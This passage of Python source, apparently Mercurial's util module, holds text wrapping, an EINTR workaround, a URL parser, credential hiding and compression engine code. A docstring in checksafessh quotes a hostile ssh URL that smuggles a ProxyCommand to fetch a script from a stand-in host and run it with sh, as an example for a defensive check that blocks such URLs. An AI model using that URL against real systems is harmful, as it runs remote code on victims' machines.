         In addition, characters classified into 'ambiguous' width are
         treated as wide in East Asian area, but as narrow in other.
 
         This requires use decision to determine width of such characters.
         """
         def _cutdown(self, ucstr, space_left):
             l = 0
             colwidth = encoding.ucolwidth
             for i in xrange(len(ucstr)):
                 l += colwidth(ucstr[i])
                 if space_left < l:
                     return (ucstr[:i], ucstr[i:])
             return ucstr, ''
 
         # overriding of base class
         def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
             space_left = max(width - cur_len, 1)
 
             if self.break_long_words:
                 cut, res = self._cutdown(reversed_chunks[-1], space_left)
                 cur_line.append(cut)
                 reversed_chunks[-1] = res
             elif not cur_line:
                 cur_line.append(reversed_chunks.pop())
 
         # this overriding code is imported from TextWrapper of Python 2.6
         # to calculate columns of string by 'encoding.ucolwidth()'
         def _wrap_chunks(self, chunks):
             colwidth = encoding.ucolwidth
 
             lines = []
             if self.width <= 0:
                 raise ValueError("invalid width %r (must be > 0)" % self.width)
 
             # Arrange in reverse order so items can be efficiently popped
             # from a stack of chucks.
             chunks.reverse()
 
             while chunks:
 
                 # Start the list of chunks that will make up the current line.
                 # cur_len is just the length of all the chunks in cur_line.
                 cur_line = []
                 cur_len = 0
 
                 # Figure out which static string will prefix this line.
                 if lines:
                     indent = self.subsequent_indent
                 else:
                     indent = self.initial_indent
 
                 # Maximum width for this line.
                 width = self.width - len(indent)
 
                 # First chunk on line is whitespace -- drop it, unless this
                 # is the very beginning of the text (i.e. no lines started yet).
                 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
                     del chunks[-1]
 
                 while chunks:
                     l = colwidth(chunks[-1])
 
                     # Can at least squeeze this chunk onto the current line.
                     if cur_len + l <= width:
                         cur_line.append(chunks.pop())
                         cur_len += l
 
                     # Nope, this line is full.
                     else:
                         break
 
                 # The current line is full, and the next chunk is too big to
                 # fit on *any* line (not just this one).
                 if chunks and colwidth(chunks[-1]) > width:
                     self._handle_long_word(chunks, cur_line, cur_len, width)
 
                 # If the last chunk on this line is all whitespace, drop it.
                 if (self.drop_whitespace and
                     cur_line and cur_line[-1].strip() == r''):
                     del cur_line[-1]
 
                 # Convert current line back to a string and store it in list
                 # of all lines (return value).
                 if cur_line:
                     lines.append(indent + r''.join(cur_line))
 
             return lines
 
     global MBTextWrapper
     MBTextWrapper = tw
     return tw(**kwargs)
 
 def wrap(line, width, initindent='', hangindent=''):
     maxindent = max(len(hangindent), len(initindent))
     if width <= maxindent:
         # adjust for weird terminal size
         width = max(78, maxindent + 1)
     line = line.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     wrapper = MBTextWrapper(width=width,
                             initial_indent=initindent,
                             subsequent_indent=hangindent)
     return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def hgcmd():
     """Return the command used to execute current hg
 
     This is different from hgexecutable() because on Windows we want
     to avoid things opening new shell windows like batch files, so we
     get either the python call or current executable.
     """
     if mainfrozen():
         if getattr(sys, 'frozen', None) == 'macosx_app':
             # Env variable set by py2app
             return [encoding.environ['EXECUTABLEPATH']]
         else:
             return [pycompat.sysexecutable]
     return gethgcmd()
 
 def rundetached(args, condfn):
     """Execute the argument list in a detached process.
 
     condfn is a callable which is called repeatedly and should return
     True once the child process is known to have started successfully.
     At this point, the child process PID is returned. If the child
     process fails to start or finishes before condfn() evaluates to
     True, return -1.
     """
     # Windows case is easier because the child process is either
     # successfully starting and validating the condition or exiting
     # on failure. We just poll on its PID. On Unix, if the child
     # process fails to start, it will be left in a zombie state until
     # the parent wait on it, which we cannot do since we expect a long
     # running process on success. Instead we listen for SIGCHLD telling
     # us our child process terminated.
     terminated = set()
     def handler(signum, frame):
         terminated.add(os.wait())
     prevhandler = None
     SIGCHLD = getattr(signal, 'SIGCHLD', None)
     if SIGCHLD is not None:
         prevhandler = signal.signal(SIGCHLD, handler)
     try:
         pid = spawndetached(args)
         while not condfn():
             if ((pid in terminated or not testpid(pid))
                 and not condfn()):
                 return -1
             time.sleep(0.1)
         return pid
     finally:
         if prevhandler is not None:
             signal.signal(signal.SIGCHLD, prevhandler)
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(r'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(port)
     except socket.error:
         raise Abort(_("no port number associated with service '%s'") % port)
 
 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
              '0': False, 'no': False, 'false': False, 'off': False,
              'never': False}
 
 def parsebool(s):
     """Parse s into a boolean.
 
     If s is not a valid boolean, returns None.
     """
     return _booleans.get(s.lower(), None)
 
 _hextochr = dict((a + b, chr(int(a + b, 16)))
                  for a in string.hexdigits for b in string.hexdigits)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, v))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (path,))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return str(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 _timenesting = [0]
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         start = timer()
         indent = 2
         _timenesting[0] += indent
         try:
             return func(*args, **kwargs)
         finally:
             elapsed = timer() - start
             _timenesting[0] -= indent
             stderr.write('%s%s: %s\n' %
                          (' ' * _timenesting[0], func.__name__,
                           timecount(elapsed)))
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (fn, ln), func)
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=stderr, otherf=stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if safehasattr(map, 'iteritems') and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
 
 # compression code
 
 SERVERROLE = 'server'
 CLIENTROLE = 'client'
 
 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                                (u'name', u'serverpriority',
                                                 u'clientpriority'))
 
 class compressormanager(object):
     """Holds registrations of various compression engines.
 
     This class essentially abstracts the differences between compression
     engines to allow new compression formats to be added easily, possibly from
     extensions.
 
     Compressors are registered against the global instance by calling its
     ``register()`` method.
     """
     def __init__(self):
         self._engines = {}
         # Bundle spec human name to engine name.
         self._bundlenames = {}
         # Internal bundle identifier to engine name.
         self._bundletypes = {}
         # Revlog header to engine name.
         self._revlogheaders = {}
         # Wire proto identifier to engine name.
         self._wiretypes = {}
 
     def __getitem__(self, key):
         return self._engines[key]
 
     def __contains__(self, key):
         return key in self._engines
 
     def __iter__(self):
         return iter(self._engines.keys())
 
     def register(self, engine):
         """Register a compression engine with the manager.
 
         The argument must be a ``compressionengine`` instance.
         """
         if not isinstance(engine, compressionengine):
             raise ValueError(_('argument must be a compressionengine'))
 
         name = engine.name()
 
         if name in self._engines:
             raise error.Abort(_('compression engine %s already registered') %
                               name)
 
         bundleinfo = engine.bundletype()
         if bundleinfo:
             bundlename, bundletype = bundleinfo
 
             if bundlename in self._bundlenames:
                 raise error.Abort(_('bundle name %s already registered') %
                                   bundlename)
             if bundletype in self._bundletypes:
                 raise error.Abort(_('bundle type %s already registered by %s') %
                                   (bundletype, self._bundletypes[bundletype]))
 
             # No external facing name declared.
             if bundlename:
                 self._bundlenames[bundlename] = name
 
             self._bundletypes[bundletype] = name
 
         wiresupport = engine.wireprotosupport()
         if wiresupport:
             wiretype = wiresupport.name
             if wiretype in self._wiretypes:
                 raise error.Abort(_('wire protocol compression %s already '
                                     'registered by %s') %
                                   (wiretype, self._wiretypes[wiretype]))
 
             self._wiretypes[wiretype] = name
 
         revlogheader = engine.revlogheader()
         if revlogheader and revlogheader in self._revlogheaders:
             raise error.Abort(_('revlog header %s already registered by %s') %
                               (revlogheader, self._revlogheaders[revlogheader]))
 
         if revlogheader:
             self._revlogheaders[revlogheader] = name
 
         self._engines[name] = engine
 
     @property
     def supportedbundlenames(self):
         return set(self._bundlenames.keys())
 
     @property
     def supportedbundletypes(self):
         return set(self._bundletypes.keys())
 
     def forbundlename(self, bundlename):
         """Obtain a compression engine registered to a bundle name.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundlenames[bundlename]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forbundletype(self, bundletype):
         """Obtain a compression engine registered to a bundle type.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundletypes[bundletype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def supportedwireengines(self, role, onlyavailable=True):
         """Obtain compression engines that support the wire protocol.
 
         Returns a list of engines in prioritized order, most desired first.
 
         If ``onlyavailable`` is set, filter out engines that can't be
         loaded.
         """
         assert role in (SERVERROLE, CLIENTROLE)
 
         attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
 
         engines = [self._engines[e] for e in self._wiretypes.values()]
         if onlyavailable:
             engines = [e for e in engines if e.available()]
 
         def getkey(e):
             # Sort first by priority, highest first. In case of tie, sort
             # alphabetically. This is arbitrary, but ensures output is
             # stable.
             w = e.wireprotosupport()
             return -1 * getattr(w, attr), w.name
 
         return list(sorted(engines, key=getkey))
 
     def forwiretype(self, wiretype):
         engine = self._engines[self._wiretypes[wiretype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forrevlogheader(self, header):
         """Obtain a compression engine registered to a revlog header.
 
         Will raise KeyError if the revlog header value isn't registered.
         """
         return self._engines[self._revlogheaders[header]]
 
 compengines = compressormanager()
 
 class compressionengine(object):
     """Base class for compression engines.
 
     Compression engines must implement the interface defined by this class.
     """
     def name(self):
         """Returns the name of the compression engine.
 
         This is the key the engine is registered under.
 
         This method must be implemented.
         """
         raise NotImplementedError()
 
     def available(self):
         """Whether the compression engine is available.
 
         The intent of this method is to allow optional compression engines
         that may not be available in all installations (such as engines relying
         on C extensions that may not be present).
         """
         return True
 
     def bundletype(self):
         """Describes bundle identifiers for this engine.
 
         If this compression engine isn't supported for bundles, returns None.
 
         If this engine can be used for bundles, returns a 2-tuple of strings of
         the user-facing "bundle spec" compression name and an internal
         identifier used to denote the compression format within bundles. To
         exclude the name from external usage, set the first element to ``None``.
 
         If bundle compression is supported, the class must also implement
         ``compressstream`` and `decompressorreader``.
 
         The docstring of this method is used in the help system to tell users
         about this engine.
         """
         return None
 
     def wireprotosupport(self):
         """Declare support for this compression format on the wire protocol.
 
         If this compression engine isn't supported for compressing wire
         protocol payloads, returns None.
 
         Otherwise, returns ``compenginewireprotosupport`` with the following
         fields:
 
         * String format identifier
         * Integer priority for the server
         * Integer priority for the client
 
         The integer priorities are used to order the advertisement of format
         support by server and client. The highest integer is advertised
         first. Integers with non-positive values aren't advertised.
 
         The priority values are somewhat arbitrary and only used for default
         ordering. The relative order can be changed via config options.
 
         If wire protocol compression is supported, the class must also implement
         ``compressstream`` and ``decompressorreader``.
         """
         return None
 
     def revlogheader(self):
         """Header added to revlog chunks that identifies this engine.
 
         If this engine can be used to compress revlogs, this method should
         return the bytes used to identify chunks compressed with this engine.
         Else, the method should return ``None`` to indicate it does not
         participate in revlog compression.
         """
         return None
 
     def compressstream(self, it, opts=None):
         """Compress an iterator of chunks.
 
         The method receives an iterator (ideally a generator) of chunks of
         bytes to be compressed. It returns an iterator (ideally a generator)
         of bytes of chunks representing the compressed output.
 
         Optionally accepts an argument defining how to perform compression.
         Each engine treats this argument differently.
         """
         raise NotImplementedError()
 
     def decompressorreader(self, fh):
         """Perform decompression on a file object.
 
         Argument is an object with a ``read(size)`` method that returns
         compressed data. Return value is an object with a ``read(size)`` that
         returns uncompressed data.
         """
         raise NotImplementedError()
 
     def revlogcompressor(self, opts=None):
         """Obtain an object that can be used to compress revlog entries.
 
         The object has a ``compress(data)`` method that compresses binary
         data. This method returns compressed binary data or ``None`` if
         the data could not be compressed (too small, not compressible, etc).
         The returned data should have a header uniquely identifying this
         compression format so decompression can be routed to this engine.
         This header should be identified by the ``revlogheader()`` return
         value.
 
         The object has a ``decompress(data)`` method that decompresses
         data. The method will only be called if ``data`` begins with
         ``revlogheader()``. The method should return the raw, uncompressed
         data or raise a ``RevlogError``.
 
         The object is reusable but is not thread safe.
         """
         raise NotImplementedError()
 
 class _zlibengine(compressionengine):
     def name(self):
         return 'zlib'
 
     def bundletype(self):
         """zlib compression using the DEFLATE algorithm.
 
         All Mercurial clients should support this format. The compression
         algorithm strikes a reasonable balance between compression ratio
         and size.
         """
         return 'gzip', 'GZ'
 
     def wireprotosupport(self):
         return compewireprotosupport('zlib', 20, 20)
 
     def revlogheader(self):
         return 'x'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
 
         z = zlib.compressobj(opts.get('level', -1))
         for chunk in it:
             data = z.compress(chunk)
             # Not all calls to compress emit data. It is cheaper to inspect
             # here than to feed empty chunks through generator.
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = zlib.decompressobj()
             for chunk in filechunkiter(fh):
                 while chunk:
                     # Limit output size to limit memory.
                     yield d.decompress(chunk, 2 ** 18)
                     chunk = d.unconsumed_tail
 
         return chunkbuffer(gen())
 
     class zlibrevlogcompressor(object):
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 44:
                 return None
 
             elif insize <= 1000000:
                 compressed = zlib.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
 
             # zlib makes an internal copy of the input buffer, doubling
             # memory usage for large inputs. So do streaming compression
             # on large inputs.
             else:
                 z = zlib.compressobj()
                 parts = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + 2**20
                     parts.append(z.compress(data[pos:pos2]))
                     pos = pos2
                 parts.append(z.flush())
 
                 if sum(map(len, parts)) < insize:
                     return ''.join(parts)
